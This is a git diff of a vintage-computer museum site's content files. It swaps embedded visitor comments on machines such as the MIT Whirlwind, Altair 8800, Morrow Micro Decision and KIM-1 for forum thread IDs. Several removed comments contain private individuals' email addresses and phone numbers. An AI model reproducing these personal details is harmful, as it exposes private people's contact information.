custom hardware in its architecture.) oc_id: 986 source: url: https://web.archive.org/web/20230417011654/http://www.old-computers.com/museum/computer.asp?c=986 diff --git a/content/museum/miragama-gmc-802.md b/content/museum/miragama-gmc-802.md index 3748d602..30d27b87 100644 --- a/content/museum/miragama-gmc-802.md +++ b/content/museum/miragama-gmc-802.md @@ -49,6 +49,7 @@ params: tabs: - photos - software + forum_thread: 677 photos: - title: MIRAGAMA GMC-802 subtitle: '' @@ -78,22 +79,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/miragama_gmc802_box.jpg - comments: - - author: Tobi - date: Wednesday 11th April 2018 - text: |- - This game is not called miragama but miragame with an e at the end. If you look at the name tag, the last character seems similar to the a, but has the open space/gap to the right. So it is no a.\ - I btw stepped into te same trap :) - - author: Sly DC (Quebec, Canada) - date: Saturday 13rd March 2010 - text: |- - Salut Olivier! - - Juste te dire que ce Pong est un clone du fameux Nintendo Color TV Game-15. La puce Motorola M-588315 est une clone identique de la puce Mitsubishi Electric M58816P. Regarde bien les jeux, ils sont pareils! :) - - Salut bien! :) - - $- Sly DC $- software: - /software/tennis-822 - /software/volleyball-ii diff --git a/content/museum/misc-arcade-video-games.md b/content/museum/misc-arcade-video-games.md index ea8cbe5f..12b4d0b7 100644 --- a/content/museum/misc-arcade-video-games.md +++ b/content/museum/misc-arcade-video-games.md @@ -9,16 +9,7 @@ params: company_name: MISC tabs: - software - comments: - - author: Webmaster (France) - date: Saturday 15th January 2022 - text: '@rod This is Computer Space from Nutting Associates (1971), considered the first commercially available arcade videogame.' - - author: rod (Canada) - date: Friday 14th January 2022 - text: What is the name of the game pictured accompanying the article? - - author: Ale (Italia) - date: Friday 3rd July 2020 - text: Wouldn''t it be better if there were distinct pages for the various systems, for example a page about Nintendo''s VS. System with the various ported NES games listed as software? + forum_thread: 1221 software: - /software/ace - /software/amazing-maze diff --git a/content/museum/mit-whirlwind.md b/content/museum/mit-whirlwind.md index 2fbfafde..6e0a8448 100644 --- a/content/museum/mit-whirlwind.md +++ b/content/museum/mit-whirlwind.md @@ -68,6 +68,7 @@ params: value: $708,909 tabs: - links + forum_thread: 1020 links: - title: Reminiscences of Jack Gilmore url: http://ed-thelen.org/comp-hist/TheCompMusRep/TCMR-V02.html#Reminiscences @@ -75,39 +76,6 @@ params: - title: Stanford Computer Science Department url: http://www-db.stanford.edu/pub/voy/museum/pictures/display/2-3.htm text: Several pictures of the Whirlwind - comments: - - author: John Ackley (United States) - date: Thursday 12th June 2014 - text: |- - Whirlwind practically filled the three story "Barta" building on Mass Ave.\ - Basement $ Power supplies\ - 1st Floor staff offices, drum storage system\ - 2nd Floor $ main frame, memory banks, control room\ - 3rd Floor $ CRT input/ouput consoles\ - Roof $ air handling to remove heat generated by 7,000 vacuum tube etc - about 170 KW - - Earlier "computers" in the US were basically glorified desk calculators - Whirlwind I believe was the first binary computer that followed Johnny Von Neumands proposal $ data and programs in the same storage unit - also first computer to connect via phone line to remote devices like systems sites and computers. Other than the "Memory Test Computer" built specifically to test prototype core memory systems, Whirlwind was the first to use magnetic core memory. - - In the early 50''s punched paper tape was the primary means on entering program source code. - - Whirlwind was followed by the TX-0 and TX-2 computers. - - author: Ed (UK) - date: Wednesday 19th March 2014 - text: A genuine question (pardon the ignorance), do the EDSAC (1949) or Harwell Dekatron (1951) not class as a real-time computer system? Neither of these were build as a replacement for a mechanical system. - - author: Barbara Ulman (CA/USA) - date: Monday 27th May 2013 - text: I have a question. I worked at Project Whirlwind as a secretarial helper, and card-puncher for two summers (1953 $ 1954.) When I tell people this, they ask me how big the computer was. I tell them the building filled a city block, but I''d like a more accurate size to tell my friends. ( My dad, Joseph Ulman, wrote or edited the reports of Project Whirlwind.) - - author: Barbara Ulman (CA/USA) - date: Monday 27th May 2013 - text: I have a question. I worked at Project Whirlwind as a secretarial helper, and card-puncher for two summers (1953 $ 1954.) When I tell people this, they ask me how big the computer was. I tell them the building filled a city block, but I''d like a more accurate size to tell my friends. ( My dad, Joseph Ulman, wrote or edited the reports of Project Whirlwind.) - - author: Barbara Ulman (CA/USA) - date: Monday 27th May 2013 - text: I have a question. I worked at Project Whirlwind as a secretarial helper, and card-puncher for two summers (1953 $ 1954.) When I tell people this, they ask me how big the computer was. I tell them the building filled a city block, but I''d like a more accurate size to tell my friends. ( My dad, Joseph Ulman, wrote or edited the reports of Project Whirlwind.) - - author: Herbert Bello (Florida/USA) - date: Wednesday 1st June 2011 - text: |- - I spent many years working on Whirwind computer\ - was a operator and tech ,I see no mention of the original storage tubes before we put in the core memorys, also you should talk about the 1800 relays the system had. oc_id: 1047 source: url: https://web.archive.org/web/20230602211856/http://www.old-computers.com/museum/computer.asp?c=1047 diff --git a/content/museum/mits-altair-680.md b/content/museum/mits-altair-680.md index 4c53a766..6bc220a4 100644 --- a/content/museum/mits-altair-680.md +++ b/content/museum/mits-altair-680.md @@ -59,6 +59,7 @@ params: - adverts - hardware - links + forum_thread: 872 photos: - title: SYSTEM subtitle: '' @@ -106,13 +107,6 @@ params: - title: VirtualAltair url: http://www.virtualaltair.com/ text: The Virtual Altair Museum is collecting information and components to help preserve Altair history. - comments: - - author: Cristina Saunier (San Francosco, CA) - date: Monday 1st June 2015 - text: Did you work in Albuquerque? My dad worked for MITS. He is Don Saunier. - - author: Ron Scales (Tucson AZ) - date: Wednesday 20th September 2006 - text: Some peripherals were not mentioned in the description. The 680b had a 16Kx8 bit static RAM, 16Kx8 bit dynamic RAM, Audio Cassette interface, Process Control interface, Universal I/O interface, A/D-D/A interface, and 5.25" Mini Disk Interface w/Basic. I used to work at MITS in the 70's. oc_id: 892 source: url: https://web.archive.org/web/20230131010751/http://www.old-computers.com/museum/computer.asp?c=892 diff --git a/content/museum/mits-altair-8800.md b/content/museum/mits-altair-8800.md index e6c75a6d..1ab81a06 100644 --- a/content/museum/mits-altair-8800.md +++ b/content/museum/mits-altair-8800.md @@ -56,6 +56,7 @@ params: - links - docs - videos + forum_thread: 78 photos: - title: LARGE VIEW subtitle: '' @@ -281,54 +282,6 @@ params: - title: ALTAIR 8800 -The Computer that started Microsoft url: https://www.youtube.com/watch?v=vD4xHCW9YCQ text: 'Length: 3 min 14 s' - comments: - - author: Jay Lucas (United States) - date: Thursday 28th November 2019 - text: Hi All, I''m Jay Lucas, and I have been "into" microcomputers for a long time. My wife is cleaning out the basement, and if anyone wants my old Altair 8800, or its 8" Floppy drive, or one of three Apple Newtons, or any of my 4 Macintosh original computers, let me know. jaylucas@me.com or phone at 703.347.2000 (text preferred). I''m in Alexandria, VA. - - author: David Payne (Melbourne, Australia) - date: Monday 10th February 2014 - text: |- - "Forbidden Planet" was set on Altair 4 which would usually mean the 4th planet orbiting Altair counting outwards. Likewise Earth is sometimes referred to as Sol 3.\ - I think the Star Trek planet was another number presumably orbitting Altair. Given the size of the brightness at the end of "Forbidden Planet" it would have to be much further out or in a different fictional universe. - - author: David Payne (Melbourne, Australia) - date: Monday 10th February 2014 - text: |- - I think after the first 30 or so bytes the loading process would get tiresome, particularly if you had nearly finished $ someone kicked the power plug as happened at Steve Dompier''s famous demo. - - http://en.wikipedia.org/wiki/Daisy_Bell - - author: James Parsons (U.S.A.) - date: Wednesday 6th November 2013 - text: Ahh it would be fun to flip the data and address bus''s on and off :D - - author: James Parsons (U.S.A.) - date: Wednesday 6th November 2013 - text: Ahh it would be fun to flip the data and address bus''s on and off :D - - author: Dave Brandt (US) - date: Monday 11th April 2011 - text: Ha! The name Altair came from the great sci-fi movie of the 1950''s, ''''Forbidden Planet", starring Leslie Nielson. Evidently Mr. Roddenberry was a Forbidden Planet fan as well! - - author: Pete Bickerdike (USA) - date: Monday 5th January 2009 - text: |- - I had an early Altair bought as a kit from Dick Heiser''s computer store in Los Angeles, had it in my Winnebago motorhome with a LS 7700A terminal. - - On a trip around the US in the motorhome, I bought a second dynamic 4K card from Bruce Seals (later to become Seals Electronics - another story) at his Knoxville, TN Byte Shop. The card didn''t work, stopped at MITS in NM on the way back to California, they showed me their repair facility and said that I could leave the card to be repaired if I wanted, said "no thanks" after seeing the 50 or 60 card pile awaiting repair. - - I fixed the card myself, finding the refresh timimg was off, they used one-shots to time the refresh, with poor timing components. It took a dual trace scope and careful comparison against my working 4K card. - - I used the Altair for many years, toggling in the bootstrap loader for the basic loaded from cassete tape. - - author: Paul Stevens (South Africa) - date: Tuesday 4th June 2002 - text: In 1975 When Bill Gates and Paul Allen Got their lates copy of Popular Electronics With The Story about the Altair 8800 they realised that this was what they were waiting for, they started a new company soon after called Micro-Soft - - author: Jay S. Curtis (NY) - date: Tuesday 21st May 2002 - text: I built the IMSAI 8080(A) in '76. It took 4 months and cost $625 at the time. I sold it in 1980 after upgrading to text video (TV) and 1K ram for $800 - - author: Martin (Sweden) - date: Monday 25th March 2002 - text: |- - Hello all!\ - I wonde if there is a homepage where\ - you can find the manuals for the Altair\ - cause i got the emulator but i dont know\ - how to use it (= related: - /museum/imsai-8080 oc_id: 62 diff --git a/content/museum/mits-altair-8800b.md b/content/museum/mits-altair-8800b.md index bd6f7692..0f62fd7d 100644 --- a/content/museum/mits-altair-8800b.md +++ b/content/museum/mits-altair-8800b.md @@ -61,6 +61,7 @@ params: - hardware - emulators - links + forum_thread: 876 adverts: - title: US ADVERT (JAN. 1977) subtitle: '' diff --git a/content/museum/mitsubishi-ml-f110-ml-f120.md b/content/museum/mitsubishi-ml-f110-ml-f120.md index 3b9f543a..00460e5f 100644 --- a/content/museum/mitsubishi-ml-f110-ml-f120.md +++ b/content/museum/mitsubishi-ml-f110-ml-f120.md @@ -76,6 +76,7 @@ params: - software - emulators - links + forum_thread: 572 photos: - title: MLF-120 WITH DOCS AND BOX subtitle: '' diff --git a/content/museum/mitsubishi-ml-f48-ml-f80.md b/content/museum/mitsubishi-ml-f48-ml-f80.md index 1acfd103..9b75e324 100644 --- a/content/museum/mitsubishi-ml-f48-ml-f80.md +++ b/content/museum/mitsubishi-ml-f48-ml-f80.md @@ -73,6 +73,7 @@ params: - hardware - emulators - links + forum_thread: 427 adverts: - title: U.K. AD. 1984 subtitle: '' @@ -220,39 +221,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Monte Lee (Macau, China) - date: Thursday 24th September 2015 - text: |- - Dear Sirs/Madams: - - I have a computer that is an All-In-One Business Computer, 40 years old, made by Japan Mitsubishi, Melcom 80/8, it is unique and using Fortran or Basics as a programming language, still working and operational. - - It has 8" B/W Monitor$ 24" Carriage Printer$ Full Keyboard and two 8" Diskettes Compartment. - - I have full photos of the actual machine. Right now I want to sell it to museum or anyone who wish to collect this unique item in the world. - - I wonder whether or not your museum would have fundings to buy it as a collection of yours. - - I can be reached at telephone or whatsapp at: +853 63006330$ or email me at: monte@macaurealestate.com - - Best regards, - - Monte Lee - - author: Darren (Australia) - date: Saturday 28th June 2014 - text: |- - I owned a Mitsubishi MLF-48 (32K) MSX Computer in the Late 80''s. - - It was Similar to the Pictured MLF-80 (64K) Version, but for it''s Colour, colour was Silver. - - Darren in Australia - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/mitsubishi-ml-fx1-fx2.md b/content/museum/mitsubishi-ml-fx1-fx2.md index 6e73aa56..07d87dce 100644 --- a/content/museum/mitsubishi-ml-fx1-fx2.md +++ b/content/museum/mitsubishi-ml-fx1-fx2.md @@ -67,6 +67,7 @@ params: - hardware - emulators - links + forum_thread: 763 photos: - title: RIGHT SIDE subtitle: '' @@ -217,13 +218,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/mitsubishi-ml-g10.md b/content/museum/mitsubishi-ml-g10.md index 382ce746..fd8e9605 100644 --- a/content/museum/mitsubishi-ml-g10.md +++ b/content/museum/mitsubishi-ml-g10.md @@ -12,6 +12,7 @@ params: - hardware - emulators - links + forum_thread: 573 photos: - title: REAR subtitle: '' diff --git a/content/museum/mitsubishi-multi-16.md b/content/museum/mitsubishi-multi-16.md index 983092f8..5b2a24b1 100644 --- a/content/museum/mitsubishi-multi-16.md +++ b/content/museum/mitsubishi-multi-16.md @@ -67,6 +67,7 @@ params: tabs: - adverts - links + forum_thread: 390 adverts: - title: JAPANESE ADVERT subtitle: '' diff --git a/content/museum/mitsubishi-multi-8.md b/content/museum/mitsubishi-multi-8.md index cd7000db..4967a223 100644 --- a/content/museum/mitsubishi-multi-8.md +++ b/content/museum/mitsubishi-multi-8.md @@ -60,6 +60,7 @@ params: value: 123000 yens tabs: - adverts + forum_thread: 340 adverts: - title: JAPANESE ADVERT subtitle: '' diff --git a/content/museum/morrow-designs-decision-1.md b/content/museum/morrow-designs-decision-1.md index ae0e0cc7..5b19c15c 100644 --- a/content/museum/morrow-designs-decision-1.md +++ b/content/museum/morrow-designs-decision-1.md @@ -65,13 +65,7 @@ params: $3,495 - 2 x F.D.D version with CP/M 2.2 and WordStar\ $5,295 - 5 MB hard-disk version\ $7,290 - Three-user hard-disk version with Micronix O.S. - comments: - - author: furio ercolessi (Italy) - date: Friday 19th August 2016 - text: I bought one with four 64k banks, a 16MB drive and Micronix for my father business in - I believe - 1982. Unfortunately the hard disk kept freezing due to a disk controller issue. Distance and lack of Internet did not help, and the local importer was of little help as well. So we used it with floppy and CP/M for a while, then we returned it and replaced it with an Olivetti M24. That was the second Unix machine in town, after a Cromemco System Three at the university. - - author: Adrien Holtzman (Oshkosh, WI) - date: Sunday 22nd December 2002 - text: If anyone is interested in purchasing one of these, I have one in pristine condition. It includes a serial terminal + dust cover, a cp/m primer+programming guide, cp/m 2.2, wordstar, extra disks and 2 diskholders, 2 8 inch disk dirves. The main unit has 2 64k memory cards, disk controller, z80 cpu card. it is currently not functioning because the dip switch settings on the terminal are not set correctly. I have documentation on what each switch means, but no idea what they should be set to. Somebody who has a good amount of knowledge about these comps would be able to fix it easily. Please direct any ?'s to rch@vbe.com. If nobody is interested in purchacing it act quickly, if no buyer is found I will put it up for auction on ebay after I fix it. + forum_thread: 633 oc_id: 648 source: url: https://web.archive.org/web/20230417033502/http://www.old-computers.com/museum/computer.asp?c=648 diff --git a/content/museum/morrow-designs-micro-decision.md b/content/museum/morrow-designs-micro-decision.md index ee61f10c..a540bb94 100644 --- a/content/museum/morrow-designs-micro-decision.md +++ b/content/museum/morrow-designs-micro-decision.md @@ -67,6 +67,7 @@ params: - photos - adverts - docs + forum_thread: 600 photos: - title: DUAL F.D. VERSION subtitle: '' @@ -196,82 +197,6 @@ params:  compiled/archived by Dave Dunfield\  type of document : PDF\  source : [Daves Old Computers](http://www.classiccmp.org/dunfield/) - comments: - - author: Alliene Turner (United States) - date: Thursday 26th September 2019 - text: I have a Morrow Computer and complete documentation. Anyone interested in it? - - author: mike fetting (United States) - date: Friday 6th September 2019 - text: |- - In 1979, Two of my college friends and I started a small business selling Morrow Design computers and writing software while attending Northwest Nazarene College, Nampa, ID. - - We sold quite a few MD1, MD2, and MD3s. Sold one Decision One to a client that needed a multi-user system. - - Somewhere I have all the sales material for the computers (three ring binder). If I can find it, I will scan them and send them to the site. - - author: Don Ricketts (United States) - date: Monday 1st January 2018 - text: |- - I bought a Morrow MDII in 1982, because I needed a computer to manage a multi-defendant t lawsuit I wanted to file. (I am a lawyer.) I couldn''t handle it without a computer which I understood would do the job. It did I could run a law office with that computer. It was a revelation to me and a revolution. - - It finally failed Disk drives I failed as I remember. Still have it. Anyone have any ideas onail how how I could get it fixed. E-mail me at don@donricketts.com - - author: Jeff Drescher (Madison, Wisconsin) - date: Tuesday 10th October 2017 - text: |- - 1st Purchased In 1978 w/10MB HD $ 300 Baud External Modem Paid Aprox 3k. Had Choice Between OS CPM or DOS.Mainframe Frames Then Using CPM86, Got That One,\ - Who Would Thought, Right. Use Modem To Log Into\ - BBS''s, 1 Favorite Was "The Listening Post" Frequency\ - Data Base, Lived Around Langley, VA @ Time.\ - PC Came w/A lot of Manuals/5-1/4 Floppy Disks, Did\ - Not Have a Clue, Me $ Brother Doug, Went Book By Book\ - and Discovered. Not Sure About Anything @ 1st, Except\ - We Needed a Computer. - - author: Steve Hofer (Indiana USA) - date: Thursday 19th January 2017 - text: They sold these Morrow computers ar Von''s Computer Store In West Lafayette Indiana when I was in college in 1982. I remember thinking that the Morrow wa the only system that I would consider buying at that time. The system looked good, felt good and, above all, just worked. It was relatively inexpensive and came with useful software. - - author: Chuck Rose (USA) - date: Thursday 1st August 2013 - text: |- - To Greg H, - - It''s a standard 25 pin RS-232 connector. If you get a 9 pin to 25 pin cable, you should be able to make a PC act as a terminal (with appropriate software). - - author: Greg Havenga (Austin, TX) - date: Sunday 28th July 2013 - text: I have one of these - and all the software, it was my first real computer in college. The Liberty terminal is long gone, but I have the rest of it. Was going to see if the floppies had anything on them and try to at least boot the thing. Need pinout for the terminal port. I''ll just have to meter it out. - - author: Melvin Lewis Jr (Maple Shade Burlington) - date: Thursday 28th June 2012 - text: I have a Northstar computer for sell with all the triming. hope to here from someone. Have picture if asked. - - author: Melvin Lewis Jr (Maple Shade Burlington) - date: Thursday 28th June 2012 - text: I have a Northstar computer for sell with all the triming. hope to here from someone. Have picture if asked. - - author: Sean (USA) - date: Thursday 25th August 2011 - text: My first PC was a Morrow MD-3. Many nights spent playing adventure, zork and racking up phone bills on CompuServe. - - author: Hans Lienesch (Edmonds, WA) - date: Sunday 11th July 2010 - text: I used Morrow MD3''s in my Computer Science class in high school. This was in 1991, believe it or not, in Anacortes, WA. They were pretty rickety little boxes... I''ve owned a couple in the past and it gets me when people complain about DOS and how antiquated it is. They blab about their prowess with the command line and know nothing about good old CP/M. I also had a couple Morrow MD3/P''s, the portable $luggable$ version. - - author: Greg Havenga (Tucson, AZ) - date: Tuesday 1st June 2010 - text: |- - My first real computer (I had a RadioShack Pocket Computer first, but that doesn''t count), was the Morrow MD3. I still have it, but had to get rid of the Liberty terminal. - - I did my senior project on that computer - a terminal system that I could use to log in to the school''s Univac and also do file transfer, etc. between the systems. - - author: Jon Lyon (USA) - date: Sunday 23rd December 2007 - text: in 1984 I purchased two MD 2's and the dealer, the AB Dick franchise in Bakersfield, CA, asked me to start up a computer users group. Later I bought an additional used MD 2. All three of these MD 2's had two DSDD floppies and Personal Pearl, but not Quest. The WordStar package included SpellStar and CalcStar. I loved that system, even the 9600 baud serial terminal connection. I tried to stay with C/PM as long as I could. - - author: Jeff (Silicon Valley) - date: Tuesday 5th June 2007 - text: My first real computer was a Morrow Design Micro Decision II, Z-80a processor, 64 KB memory and two 186KB 5-1/4 inch floppies. It came with a Freedom 50 terminal and a number of software titles, including Wordstar. I eventually added a Radio Shack Model 100 laptop that could interface with the terminal connection on the MDII. Great fun, and it worked, but you had to be a serious hacker/geek to get things to work correctly. - - author: j4ck (nyus) - date: Friday 8th April 2005 - text: i remember reading about this machine in Byte way back when and wanting one. god knows why, since all i ever did with my commodore was play games - - author: Toennies von Donop (Berlin Germany) - date: Wednesday 5th January 2005 - text: 'I still own my first computer: the Morrow Design Micro Decision with 2 Floppy Disk Drives. Now more then 20 years later I am still in the Computer Business and that is also because I loved by 1. Computer. Thanks to Morrow!' - - author: John Barrett (Earth) - date: Monday 20th January 2003 - text: |- - Morrow was very active in the 80's designing S-100 and SS-50 addon boards. In addition to the memory board, he designed serial and parallel I/O boards, Eprom boards and burners, and disk and tape drive boards. I owned one of his 32K ram cards, fully populated (for a system total of 40K !), I spent over 750.00 for 32K. :-)\ - I had a no-name mainframe, 22 slot motherboard, S-100 box back then... oc_id: 613 source: url: https://web.archive.org/web/20230605031821/http://www.old-computers.com/museum/computer.asp?c=613 diff --git a/content/museum/mos-technology-kim-1.md b/content/museum/mos-technology-kim-1.md index 5fcb96ba..879fa6b4 100644 --- a/content/museum/mos-technology-kim-1.md +++ b/content/museum/mos-technology-kim-1.md @@ -62,6 +62,7 @@ params: - emulators - links - docs + forum_thread: 161 photos: - title: COMMODORE VERSION subtitle: '' @@ -194,89 +195,6 @@ params:  compiled/archived by www.commodore.ca\  type of document : TXT\  source : [www.commodore.ca](http://www.commodore.ca) - comments: - - author: Jeff Nay (USA) - date: Thursday 24th February 2022 - text: Need help with book - - author: Eric Andresen (United States) - date: Tuesday 14th December 2021 - text: I recently built a Kim Uno which while it is not a Kim-1 provides a very nice emulated environment to play in and it can be build for about $18 in parts and the whole project is open source. Has anyone used this? I would like to enter some programs into $0400 but found that is where the ROMs usually were mapped. My unit will not allow me to write there, but I had read posts that you should be able to hold Rst for 1 second and that allows you to write to the non-volatile area of the Uno. Has anyone else walked this path? On the Strugglebus. - - author: Jeff Nay (USA) - date: Sunday 31st October 2021 - text: Hello Hams, Love your site, although it is hard for me to get through to you as you only provide Twitter and FB contact info. Your last post here, mentions something Unopened with manuals. What are you referring to? I do have a youtube site, that you might like. https://www.youtube.com/channel/UCbBQsLXk9W7oM7Pz5lZgHOg - - author: Hans Otten (Netherlands) - date: Wednesday 27th October 2021 - text: Unopened, new, with manuals worth quite a lot. At least $1000 depending on what Rev and IC''s used. - - author: Chris Banda (Las Vegas, Nevada) - date: Saturday 22nd August 2020 - text: 'I met Steve Wazniak and Jobs at the 1975 MOS Technology Convention in San Francisco. The next business day afterwards, I bought two Kim-1 boards. One I used at work and the other sat in its box until today. I never even applied power to it and bought it with the plug in socket chip option. Does anyone know what this board is worth on today''''s market? Thanks: Chris 323-218-1435, chris_51_m_ca@yahoo.com' - - author: Bob Leedom (Maryland, USA) - date: Tuesday 7th January 2020 - text: |- - Tuesday, 7 Jan 2020\ - On the first page of this site''s KIM-1 section, I mention my hand-assembled KIM-Venture program, which runs on a bare KIM-1. I''d like to find a good place to post the user manual, source code, and cavern map for this "tiny Adventure" game. Or I''ll send it to anyone who asks! Write me at BOBkimLEEDOM at hotmail.com, but first remove the 3-character computer name from the address (added here to confound the spambots). - - author: Tim Bennett - date: Sunday 15th July 2012 - text: I incorporated a KIM-1 into USPTO patent $ 4,281,579 - issued in yr 1981. Demonstrated working prototype to US piano mfgs (who didn''t get it) but sold rights Yamaha who sold millions. Still have KIM-1 but will be listing on e-bay this week - Thursday 7/19/2012 . Will be interesting to see what it brings. - - author: David Honig (USA) - date: Friday 6th June 2008 - text: |- - In the early 80s at age 16 I attended a science camp at RPI, and my project was to program a KIM-1 to use Newton's method to find the resonance of a rotating wheel. It was a lecture demo for a physics prof. - - I wrote machine code and hand assembled it, then punched it in. After a while you could read the machine code. - - author: Rob urton (Olmsted Falls, Ohio) - date: Sunday 4th February 2007 - text: Fond memories of these as I used them in my first real engineering job. Around 1978 we built a motion control system for animation cameras. It used stepping motor control hardware based on 6522s that I designed. The system was used to create motion graphics for TV spots mostly. I still have one with a KIM-3 4K RAM expansion card. - - author: David Masson (STL) - date: Sunday 22nd January 2006 - text: Does any one have a part list and a schematics for this? If you do please email me at david@massonfamily.com - - author: Dennis German ( ) - date: Friday 20th February 2004 - text: By adding a 300baud Texas Instruments terminal and a modem to edit, assemble and download a program the KIM could CONTROL and monitor an N gauge train layout. The KIM interpreted a routing language including commands like T5C ( set Turnout 5 Curved). It's expansion capability was only unlimited by your imagination. - - author: ytf (Cupertino, CA) - date: Friday 16th January 2004 - text: |- - Chris Baker: - - The KIM-1 was the first *stand-alone* single board computer, and the first one using the 6502. I believe the Apple I didn't ship until well after the KIM-1 had shipped. But in any event, the Apple-1 didn't have a "diskey" (display+keyboard), so I think the KIM-1 deserves pride of place. - - author: Philip Wasson (Torrance, CA) - date: Monday 29th December 2003 - text: Thank you Peter for Microchess! I loved it. I'm still amazed you wrote a chess program in 1k. I wrote a debug monitor that had a "video display". It used 2 analog ramp-up, ramp-down circuits that connected to the x-y inputs of my oscilloscope and displayed all the registers on the screen. I added a Selectric printer, keyboard, and 8k RAM. - - author: Robert Lore (Sydney, Australia) - date: Sunday 15th June 2003 - text: I rember this little beauty. Wonderful. Looking at the schematic shows a lot of stuff to make the tape work - all thos bits to the left of the keypad. Then I saw the Apple II book at the just opened ComputerLand shop. Steve Jobs replaced all this circuitry with one op-amp and a D-latch. I immediately wire-wrapped up this onto a S-100 bus prototype board. Copied the Apple II monitor ROM from the book (typed hex codes into DEC PDP8 - wrote paper tape - burned EPROM).... Plugged into the wirewrapped motherboard and bingo it fired up first go (never to be repeated). Even the cassette tape ran at double speed ! - - author: TheP (CA) - date: Saturday 8th February 2003 - text: |- - I have a KIM-1 that is missing a key on the keypad.\ - Is it possible to purchase a replacement keypad somewhere? - - author: Harry Joel (Texas) - date: Monday 13rd January 2003 - text: It was not easy, but circumstances led me to part with my beloved KIM-1. It was the machine that prompted me to pursue a career as programmer for the years to come after 1977, I auctioned it on eBay and the page got over 300 hits, meaning the spirit of the KIM-1 lives on. The final bid was a lot more than what I paid for it in 1977, It has found a new home. - - author: Peter Jennings (Cyberspace) - date: Thursday 10th October 2002 - text: |- - My Kim-1 may have been the most expanded Kim around in 1978. I had the MOS Technology expansion board with 4K of RAM. I also designed a floppy disk interface to an 8 inch floppy disk and wrote a small DOS and development system based on Micro-ADE (Assembler Disassembler Editor). - - I just fired up my Kim, and it still works. Unfortunately, the only tape I had of Microchess broke when I tried to play it. Not sure if I will type it all in. - - My Kim-1 will be on display at the [Vintage Computer Festival](http://www.vintage.org), Oct 26-27. See you there. - - author: Dennis Brown (Youngsville, NC) - date: Monday 12th August 2002 - text: I built a wire-wrap 4K memory expansion card for my Kim-1. Then I built an interface to drive an IBM 1052 keyboardless Selectric printer. I also wrote driver software to make the printer operate... I often used a Teletype with papertape reader/punch and since the teletype only had an RS-232 serial interface, had to use an opto-iosolated coupler to connect to the Kim. - - author: Peter (Earth) - date: Wednesday 20th March 2002 - text: |- - Microchess ran on the Kim-1. That was chess in 1K of RAM. Microchess on the Kim-1 was the first commercially successful game program for a home computer, first sold in 1976. It went on to sell more than a million copies\ - on the Apple \]\[ and TRS-80. - - author: Bob Leedom (Glenwood, MD) - date: Wednesday 20th March 2002 - text: Has anyone gotten a KIM-1 emulator to work? I've tried some of the links (MESS, e.g) with no luck. Key problem of course, is getting the ROM binary... - - author: Chris Baker (Overland Park, KS) - date: Friday 1st March 2002 - text: |- - I have a question that I can not find an answer to on the web.\ - Is this the first publicly available computer to feature the 6502, or even perhaps the first ever to feature a 6502? oc_id: 149 source: url: https://web.archive.org/web/20230608152603/http://www.old-computers.com/museum/computer.asp?c=149 diff --git a/content/museum/mos-technology-tim.md b/content/museum/mos-technology-tim.md index fb5a8d66..d010e35f 100644 --- a/content/museum/mos-technology-tim.md +++ b/content/museum/mos-technology-tim.md @@ -52,6 +52,7 @@ params: value: unknown tabs: - photos + forum_thread: 730 photos: - title: 'SYSTEM #1' subtitle: '' @@ -93,19 +94,6 @@ params: Internal 2708 EPROM. Contains utility subroutines, eg Burn EPROM.\ Note the three high stacked RAM chips! Each one is 2114 - 1024 x 4 bit. Chip select pins on other side are only pins not common to all three layers. image: /media/museum/photos/mos_sim1_romram_1.jpg - comments: - - author: Achim Baqué - date: Sunday 12th September 2021 - text: Hi, I am a vintage computer collector. Please contact me (E-Mail via my website) if you have a TIM to offer. - - author: Achim (Germany) - date: Thursday 3rd March 2016 - text: |- - Hi,\ - I am looking for a MOS TIM for my collection. Any offer welcome.\ - Thanks - - author: Brian Bagnall (Canada) - date: Friday 4th April 2003 - text: Great information on a relatively unknown computer. Any idea which month in 1975 it was released and how MOS went about marketing it? I haven't been able to find anything about TIM in my old Byte mags. oc_id: 747 source: url: https://web.archive.org/web/20230402080022/http://www.old-computers.com/museum/computer.asp?c=747 diff --git a/content/museum/mostek-md.md b/content/museum/mostek-md.md index 560ee776..3ca6b0e0 100644 --- a/content/museum/mostek-md.md +++ b/content/museum/mostek-md.md @@ -59,6 +59,7 @@ params: tabs: - photos - hardware + forum_thread: 800 photos: - title: COMPLETE SYSTEM subtitle: '' diff --git a/content/museum/motorola-exorset-30.md b/content/museum/motorola-exorset-30.md index a85dff12..4ef42fb1 100644 --- a/content/museum/motorola-exorset-30.md +++ b/content/museum/motorola-exorset-30.md @@ -50,16 +50,7 @@ params: value: 2 x 5.25'' disk units (800kb each) - label: OS value: XDOS - comments: - - author: BasinStreetDesign (Canada) - date: Saturday 29th January 2022 - text: I worked on this system for 2 1/2 years during 1981-3 to develop 2 products for a motion film industry processing lab. It had no connection to a printer until I hand-made a cable from its motherboard to a Centronics parallel connector. It was slow, the Basic was slow to execute and every sw update had to be burned into several EPROMS each time to try a sw fix/upgrade. But it worked! - - author: James (UK) - date: Tuesday 11th June 2019 - text: I saw one of these in pretty bad shape in a warehouse. How much are these heavy beasts worth?? - - author: Miguel Saro (France) - date: Thursday 10th November 2011 - text: I worked many years with an EXorset 30!! It was a nice machine! + forum_thread: 137 oc_id: 124 source: url: https://web.archive.org/web/20230416221451/http://www.old-computers.com/museum/computer.asp?c=124 diff --git a/content/museum/motorola-mek-6802-d5.md b/content/museum/motorola-mek-6802-d5.md index 40c327d9..7b45c961 100644 --- a/content/museum/motorola-mek-6802-d5.md +++ b/content/museum/motorola-mek-6802-d5.md @@ -53,6 +53,7 @@ params: tabs: - photos - docs + forum_thread: 498 photos: - title: WOODEN STAND VERSION subtitle: '' @@ -71,39 +72,6 @@ params:  source : 